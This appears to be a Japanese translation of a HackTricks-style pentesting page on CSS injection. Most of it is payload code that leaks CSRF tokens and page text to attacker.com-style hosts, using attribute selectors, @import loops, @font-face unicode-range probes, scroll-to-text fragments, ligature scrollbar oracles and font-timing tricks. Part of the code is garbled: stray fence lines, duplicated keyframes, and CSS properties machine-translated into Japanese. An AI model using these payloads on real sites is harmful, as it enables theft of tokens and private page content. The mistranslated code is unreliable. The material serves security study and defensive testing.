htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ ! Try Hard Security Group
CSSインジェクション
属性セレクタ
CSSセレクタは、input
要素のname
およびvalue
属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。
Copy input [ name = csrf ][ value ^= a ]{
background-image : url (https://attacker.com/exfil/a) ;
}
input [ name = csrf ][ value ^= b ]{
background-image : url (https://attacker.com/exfil/b) ;
}
/* ... */
input [ name = csrf ][ value ^= 9 ]{
background-image : url (https://attacker.com/exfil/9) ;
}
隠れた要素へのバイパス
この制限を回避するために、~
汎用の兄弟コンビネータを使用して、隠れた入力要素の後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠れた入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。
Copy input [ name = csrf ][ value ^= csrF ] ~ * {
background-image : url (https://attacker.com/exfil/csrF) ;
}
CSSインジェクションの事前条件
CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります:
ペイロードの長さ :CSSインジェクションベクトルは、作成したセレクタを収容するために十分に長いペイロードをサポートする必要があります。
CSSの再評価 :新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
外部リソース :この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
盲目的属性セレクタ
この投稿で説明されているように 、セレクタ :has
と :not
を組み合わせて、盲目的要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
Copy < style >
html :has ( input [ name ^= "m" ]) :not ( input [ name = "mytoken" ]) {
background : url (/m) ;
}
</ style >
< input name = mytoken value = 1337 >
< input name = myname value = gareth >
以下は、@import 技術を使用して、blind-css-exfiltration からの盲目のページからCSSインジェクションを使用して多くの情報を外部に送信することが可能です。
@import
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に複数のリンクを送信できる必要がある か、CSSインジェクション脆弱なページにiframeを挿入できる必要があります 。
ただし、CSS @import
を使用して技術の品質を向上させる別の巧妙な技術があります。
これは最初にPepe Vila によって示され、次のように機能します:
前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます (これが被害者に送信するペイロードです):
Copy @import url ( '//attacker.com:5001/start?' );
攻撃者からいくつかのCSSスクリプト を受け取り、ブラウザがそれを読み込む ことになります。
攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度@import
**を行います。
攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次のものを漏洩させるためにこのインポートに応答するためのペイロードを送信します。
ペイロードの2番目で、属性セレクタ漏洩ペイロード が送信されます。
これにより、攻撃者のサーバーには秘密の最初の文字と最後の文字 が送信されます。
攻撃者のサーバーが秘密の最初と最後の文字 を受け取ると、ステップ2で要求されたインポートに応答 します。
応答はステップ2、3、4とまったく同じ になりますが、今回は秘密の2番目の文字を見つけ、その直前の文字 を試みます。
攻撃者は秘密を完全に漏洩する まで、このループを続けます 。
元のPepe Vilaのこのコードを悪用するためのコードはこちら で見つけることができます。または、ほぼ同じコメント付きのコードはこちら です。
スクリプトは、属性セレクタを使用して次のような操作が可能なため、毎回2文字を発見しようとします(先頭からと末尾から)。
Copy /* value^= to match the beggining of the value*/
input [ value ^= "0" ]{--s0 : url (http://localhost:5001/leak?pre=0) }
/* value$= to match the ending of the value*/
input [ value $= "f" ]{--e0 : url (http://localhost:5001/leak?post=f) }
これにより、スクリプトが秘密をより速く漏洩させることができます。
時々、スクリプトは発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない 場合があり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。
心配いりません、単に出力を確認 すれば、そこにフラグが表示されます 。
その他のセレクタ
CSSセレクタ を使用してDOMの部分にアクセスする他の方法:
.class-to-search:nth-child(2)
: これはDOM内のクラスが"class-to-search"である2番目のアイテムを検索します。
**:empty
**セレクタ:例として、この解説 で使用されています :
Copy [ role ^= "img" ][ aria-label = "1" ] :empty { background-image : url ( "YOUR_SERVER_URL?1" ) ; }
エラーベースのXS-Search
参考: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
全体的な意図は、制御されたエンドポイントからカスタムフォントを使用 し、指定されたリソース(favicon.ico
)が読み込まれない場合にのみ、テキスト(この場合は 'A')がこのフォントで表示されるようにする ことです。
Copy <! DOCTYPE html >
< html >
< head >
< style >
@font-face {
font-family : poc ;
src : url (http://attacker.com/?leak) ;
unicode-range : U+0041 ;
}
#poc0 {
font-family : 'poc' ;
}
</ style >
</ head >
< body >
< object id = "poc0" data = "http://192.168.0.1/favicon.ico" >A</ object >
</ body >
</ html >
カスタムフォントは、<head>
セクション内の<style>
タグで@font-face
ルールを使用して定義されます。
フォントの名前はpoc
であり、外部エンドポイント(http://attacker.com/?leak
)から取得されます。
unicode-range
プロパティは、特定のUnicode文字 'A' をターゲットとするU+0041
に設定されています。
<body>
セクションにid="poc0"
を持つ<object>
要素が作成されます。この要素はhttp://192.168.0.1/favicon.ico
からリソースを読み込もうとします。
この要素のfont-family
は、<style>
セクションで定義された'poc'
に設定されています。
リソース(favicon.ico
)の読み込みに失敗した場合、<object>
タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォントpoc
を使用してレンダリングされます。
スクロールしてテキストフラグメントをスタイリングする
**:target
**疑似クラスは、CSS Selectors Level 4 specification で指定されているように、URLフラグメント によってターゲットされた要素を選択するために使用されます。::target-text
は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。
攻撃者がスクロールしてテキスト フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることによって行われます:
Copy :target::before { content : url (target.png) }
以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース target.png
がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを介して実行できます:
Copy http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」をScroll-to-textフラグメント(#:~:text=Administrator
)を介して狙い、CSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在を誤って通知します。
緩和策として、以下の点に注意する必要があります:
制約されたSTTFマッチング :Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
トップレベルブラウジングコンテキストへの制限 :STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーにより目立つようになります。
ユーザーアクティベーションの必要性 :STTFはユーザーアクティベーションのジェスチャーが必要であり、攻撃はユーザーによるナビゲーションを介してのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。
詳細については、元のレポートをご確認ください:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
このテクニックを使用したCTFのエクスプロイトはこちら をご確認いただけます。
@font-face / unicode-range
特定のUnicode値に対して外部フォントを指定 することができ、そのUnicode値がページに存在する場合のみ収集されます 。例:
Copy < style >
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?A) ; /* fetched */
unicode-range : U+0041 ;
}
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?B) ; /* fetched too */
unicode-range : U+0042 ;
}
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?C) ; /* not fetched */
unicode-range : U+0043 ;
}
#sensitive-information {
font-family : poc ;
}
</ style >
< p id = "sensitive-information" >AB</ p >htm
テキストノードの情報漏洩(I):リガチャ
参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。このプロセスにはいくつかのステップが含まれます:
SVGフォントは、horiz-adv-x
属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。
例:<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
というSVGグリフで、"XY"は2文字のシーケンスを示します。
これらのフォントは、fontforgeを使用してwoff形式に変換されます。
CSSを使用して、テキストが折り返されないようにする(white-space: nowrap
)と、スクロールバースタイルをカスタマイズします。
水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(つまり、特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。
Copy body { white-space : nowrap };
body ::-webkit-scrollbar { background : blue ; }
body ::-webkit-scrollbar :horizontal { background : url (http://attacker.com/?leak) ; }
ステップ1 : 幅の大きい文字のペア用のフォントが作成されます。
ステップ2 : 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出されるスクロールバーのトリックが使用され、文字シーケンスが存在することが示されます。
ステップ3 : リガチャが検出されると、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
ステップ4 : 3文字のリガチャの検出が行われます。
ステップ5 : プロセスが繰り返され、徐々に全体のテキストが明らかになります。
現在の<meta refresh=...
を使用した初期化方法は最適ではありません。
より効率的なアプローチは、CSSの@import
トリックを使用して、悪用のパフォーマンスを向上させることができます。
テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩する(外部アセットを必要としない)
参考: PoC using Comic Sans by @Cgvwzq & @Terjanq
このトリックは、このSlackersスレッド で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォント を使用して漏洩できます:外部のカスタムフォントは必要ありません。
このコンセプトは、アニメーションを利用してdiv
の幅を段階的に拡大し、1文字ずつ「接尾辞」部分から「接頭辞」部分に移行させることで、テキストを2つのセクションに効果的に分割することに関わります:
文字の遷移段階は次のように表示されます:
C
ADB
CA
DB
CAD
B
CADB
この遷移中、unicode-rangeトリック が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。
Copy /* comic sans is high (lol) and causes a vertical overflow */
@font-face { font-family : has_A ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+41 ; font-style : monospace ;}
@font-face { font-family : has_B ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+42 ; font-style : monospace ;}
@font-face { font-family : has_C ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+43 ; font-style : monospace ;}
@font-face { font-family : has_D ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+44 ; font-style : monospace ;}
@font-face { font-family : has_E ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+45 ; font-style : monospace ;}
@font-face { font-family : has_F ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+46 ; font-style : monospace ;}
@font-face { font-family : has_G ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+47 ; font-style : monospace ;}
@font-face { font-family : has_H ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+48 ; font-style : monospace ;}
@font-face { font-family : has_I ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+49 ; font-style : monospace ;}
@font-face { font-family : has_J ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4a ; font-style : monospace ;}
@font-face { font-family : has_K ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4b ; font-style : monospace ;}
@font-face { font-family : has_L ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4c ; font-style : monospace ;}
@font-face { font-family : has_M ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4d ; font-style : monospace ;}
@font-face { font-family : has_N ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4e ; font-style : monospace ;}
@font-face { font-family : has_O ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4f ; font-style : monospace ;}
@font-face { font-family : has_P ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+50 ; font-style : monospace ;}
@font-face { font-family : has_Q ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+51 ; font-style : monospace ;}
@font-face { font-family : has_R ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+52 ; font-style : monospace ;}
@font-face { font-family : has_S ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+53 ; font-style : monospace ;}
@font-face { font-family : has_T ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+54 ; font-style : monospace ;}
@font-face { font-family : has_U ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+55 ; font-style : monospace ;}
@font-face { font-family : has_V ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+56 ; font-style : monospace ;}
@font-face { font-family : has_W ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+57 ; font-style : monospace ;}
@font-face { font-family : has_X ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+58 ; font-style : monospace ;}
@font-face { font-family : has_Y ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+59 ; font-style : monospace ;}
@font-face { font-family : has_Z ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+5a ; font-style : monospace ;}
@font-face { font-family : has_0 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+30 ; font-style : monospace ;}
@font-face { font-family : has_1 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+31 ; font-style : monospace ;}
@font-face { font-family : has_2 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+32 ; font-style : monospace ;}
@font-face { font-family : has_3 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+33 ; font-style : monospace ;}
@font-face { font-family : has_4 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+34 ; font-style : monospace ;}
@font-face { font-family : has_5 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+35 ; font-style : monospace ;}
@font-face { font-family : has_6 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+36 ; font-style : monospace ;}
@font-face { font-family : has_7 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+37 ; font-style : monospace ;}
@font-face { font-family : has_8 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+38 ; font-style : monospace ;}
@font-face { font-family : has_9 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+39 ; font-style : monospace ;}
@font-face { font-family : rest ; src : local ( 'Courier New' ) ; font-style : monospace ; unicode-range : U+0 - 10FFFF }
div .leak {
overflow-y : auto ; /* leak channel */
overflow-x : hidden ; /* remove false positives */
height : 40 px ; /* comic sans capitals exceed this height */
font-size : 0 px ; /* make suffix invisible */
letter-spacing : 0 px ; /* separation */
word-break : break-all ; /* small width split words in lines */
font-family : rest ; /* default */
background : grey ; /* default */
width : 0 px ; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div .leak::first-line {
font-size : 30 px ; /* prefix is visible in first line */
text-transform : uppercase ; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family : rest ; } /* delay for width change */
5% { font-family : has_A , rest ; --leak : url (?a) ; }
6% { font-family : rest ; }
10% { font-family : has_B , rest ; --leak : url (?b) ; }
11% { font-family : rest ; }
15% { font-family : has_C , rest ; --leak : url (?c) ; }
16% { font-family : rest }
20% { font-family : has_D , rest ; --leak : url (?d) ; }
21% { font-family : rest ; }
25% { font-family : has_E , rest ; --leak : url (?e) ; }
26% { font-family : rest ; }
30% { font-family : has_F , rest ; --leak : url (?f) ; }
31% { font-family : rest ; }
35% { font-family : has_G , rest ; --leak : url (?g) ; }
36% { font-family : rest ; }
40% { font-family : has_H , rest ; --leak : url (?h) ; }
41% { font-family : rest }
45% { font-family : has_I , rest ; --leak : url (?i) ; }
46% { font-family : rest ; }
50% { font-family : has_J , rest ; --leak : url (?j) ; }
51% { font-family : rest ; }
55% { font-family : has_K , rest ; --leak : url (?k) ; }
56% { font-family : rest ; }
60% { font-family : has_L , rest ; --leak : url (?l) ; }
61% { font-family : rest ; }
65% { font-family : has_M , rest ; --leak : url (?m) ; }
66% { font-family : rest ; }
70% { font-family : has_N , rest ; --leak : url (?n) ; }
71% { font-family : rest ; }
75% { font-family : has_O , rest ; --leak : url (?o) ; }
76% { font-family : rest ; }
80% { font-family : has_P , rest ; --leak : url (?p) ; }
81% { font-family : rest ; }
85% { font-family : has_Q , rest ; --leak : url (?q) ; }
86% { font-family : rest ; }
90% { font-family : has_R , rest ; --leak : url (?r) ; }
91% { font-family : rest ; }
95% { font-family : has_S , rest ; --leak : url (?s) ; }
96% { font-family : rest ; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width : 0 px }
1% { width : 20 px }
2% { width : 40 px }
3% { width : 60 px }
4% { width : 80 px }
4% { width : 100 px }
```markdown
```css
5% { 幅 : 120 px }
6% { 幅 : 140 px }
7% { 幅 : 0 px }
}
div ::-webkit-scrollbar {
背景 : 青色 ;
}
/* side-channel */
div ::-webkit-scrollbar :vertical {
背景 : 青色 var (--leak) ;
}
テキストノードの情報漏洩(III):デフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する(外部アセットは不要)
参照: これはこの解説記事で不成功な解決策として言及されています
このケースは前のものと非常に似ていますが、この場合、特定の文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンや読み込まれない画像などを非表示にする ことです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
テキストノードの情報漏洩(III):キャッシュタイミングによる文字セットの漏洩(外部アセットは不要)
参照: これはこの解説記事で不成功な解決策として言及されています
この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩しようとすることができます。
Copy @font-face {
font-family : "A1" ;
src : url (/static/bootstrap.min.css?q=1) ;
unicode-range : U+0041 ;
}
もし一致があれば、フォントは /static/bootstrap.min.css?q=1
から読み込まれます 。読み込みは成功しませんが、ブラウザはそれをキャッシュ し、キャッシュがなくても 304 not modified のメカニズムがあるため、他のものよりも応答が速くなるはず です。
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役に立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが disk-cache-size=1
フラグを使用していることですが、これは本当に考えられています。
テキストノードの情報漏洩(III): ローカルの「フォント」を数百個読み込むことによる文字セットの漏洩(外部アセットは不要)
参照: これは この解説記事での成功しなかった解決策として言及されています
この場合、一致が発生すると、CSS で同じオリジンから数百の偽のフォントを読み込む ように指定できます。この方法で、かかる時間 を測定し、文字が表示されるかどうかを次のように確認できます:
Copy @font-face {
font-family : "A1" ;
src : url (/static/bootstrap.min.css?q=1) ,
url (/static/bootstrap.min.css?q=2) ,
....
url (/static/bootstrap.min.css?q=500) ;
unicode-range : U+0041 ;
}
そして、ボットのコードは以下のようになります:
Copy browser . get (url)
WebDriverWait (browser, 30 ). until ( lambda r : r. execute_script ( 'return document.readyState' ) == 'complete' )
time . sleep ( 30 )
参考文献
Try Hard Security Group
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !